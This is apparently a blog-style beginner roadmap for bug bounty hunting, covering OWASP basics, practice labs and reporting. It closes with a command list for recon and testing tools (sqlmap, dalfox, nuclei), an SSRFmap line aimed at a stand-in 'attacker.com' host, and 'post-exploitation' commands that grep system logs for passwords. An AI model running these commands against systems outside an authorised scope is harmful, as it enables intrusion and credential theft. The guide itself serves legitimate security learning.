How to Start Bug Bounty Hunting and Earn Your First Bounty

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Starting a bug bounty journey can be overwhelming, but with the right approach, persistence, and methodology, you can land your first valid bug and earn a bounty. Here’s a structured roadmap to help you begin.

Step-by-Step Bug Bounty Roadmap

1. Learn the Basics of Web Application Security

  • Understand OWASP Top 10 vulnerabilities (SQLi, XSS, CSRF, SSRF, IDOR, etc.).
  • Study how web applications work (HTTP/HTTPS, APIs, cookies, sessions).

2. Develop a Hacker Mindset

  • Think like an attacker—identify weak points in authentication, authorization, and input validation.
  • Use tools like Burp Suite, OWASP ZAP, and Nmap for reconnaissance.

3. Practice on Vulnerable Labs

  • Platforms like Hack The Box (HTB), TryHackMe, and PortSwigger’s Web Security Academy offer hands-on labs.
  • Solve CTF challenges to sharpen exploitation skills.

4. Choose a Target and Scope

  • Start with open bug bounty programs (HackerOne, Bugcrowd, Intigriti).
  • Focus on less competitive targets (smaller companies or private programs).

5. Automate Reconnaissance

  • Use tools like Amass, Subfinder, and httprobe for subdomain enumeration.
  • Run Nuclei for quick vulnerability scanning.

6. Manual Testing for Critical Bugs

  • Automate repetitive tasks but manually test for logic flaws (e.g., business logic bypasses).
  • Look for misconfigurations (open S3 buckets, exposed admin panels).

7. Write a Clear & Professional Report

  • Include steps to reproduce, impact, and remediation suggestions.
  • Submit via the platform’s reporting system.

8. Keep Learning & Adapting

  • Follow security researchers on Twitter, read disclosed reports (HackerOne Hacktivity).
  • Stay updated on new attack vectors (e.g., GraphQL, WebSockets).

You Should Know: Essential Commands & Tools

Reconnaissance

 Subdomain Enumeration 
amass enum -d target.com -o subs.txt 
subfinder -d target.com -o subdomains.txt

HTTP Probing 
cat subdomains.txt | httprobe -p http:80 -p https:443 > live_urls.txt

Vulnerability Scanning 
nuclei -l live_urls.txt -t ~/nuclei-templates/ -o vulns.txt 

Exploitation

 SQL Injection Testing 
sqlmap -u "https://target.com/search?q=1" --risk=3 --level=5

XSS Testing with Dalfox 
echo "https://target.com/search?q=test" | dalfox pipe --skip-bav

SSRF Testing with SSRFmap 
python3 ssrfmap.py -r req.txt -p url=https://attacker.com 

Post-Exploitation

 Extract Sensitive Data from Logs 
grep -r "password" /var/log/

Check for Misconfigured Permissions 
find / -type f -perm -o=w 2>/dev/null 

What Undercode Say

Bug bounty hunting requires persistence, continuous learning, and hands-on practice. Start with basic vulnerabilities, refine your methodology, and gradually tackle complex bugs. Use automation wisely but rely on manual testing for high-impact findings. Engage with the security community, study past reports, and never stop experimenting.

Expected Output:

  • A well-documented bug report.
  • Increased confidence in identifying and exploiting vulnerabilities.
  • Potential bounty rewards and recognition in the cybersecurity community.

Reference: Bug Bounty Roadmap

References:

Reported By: Faiyaz Ahmad – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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